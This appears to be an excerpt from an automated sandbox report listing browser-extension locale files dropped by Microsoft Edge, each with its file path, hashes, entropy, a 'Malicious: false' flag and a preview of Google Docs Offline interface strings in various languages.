Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.631887382471946
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97f9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95MwP9KkJ+je:YwBrD2J2DBLMfFuWvdpY94vioO+uh
MD5:	1F565FB1C549B18AF8BBFED8DECD5D94
SHA1:	B57F4BDAE06FF3DFC1EB3E56B6F2F204D6F63638
SHA-256:	E16325D1A641EF7421F2BAFCD6433D53543C89D498DD96419B03CBA60B9C7D60
SHA-512:	A60B8E042A9BCDCC136B87948E9924A0B24D67C6CA9803904B876F162A0AD82B9619F1316BE9FF107DD143B44F7E6F5DF604ABFE00818DEB40A7D62917CDA69F
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1880
Entropy (8bit):	4.295185867329351
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/UGG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZZ
MD5:	8E16966E815C3C274EEB8492B1EA6648
SHA1:	7482ED9F1C9FD9F6F9BA91AB15921B19F64C9687
SHA-256:	418FF53FCA505D54268413C796E4DF80E947A09F399AB222A90B81E93113D5B5
SHA-512:	85B28202E874B1CF45B37BA05B87B3D8D6FE38E89C6011C4240CF6B563EA6DA60181D712CCE20D07C364F4A266A4EC90C4934CC8B7BB2013CB3B22D755796E38
Malicious:	false
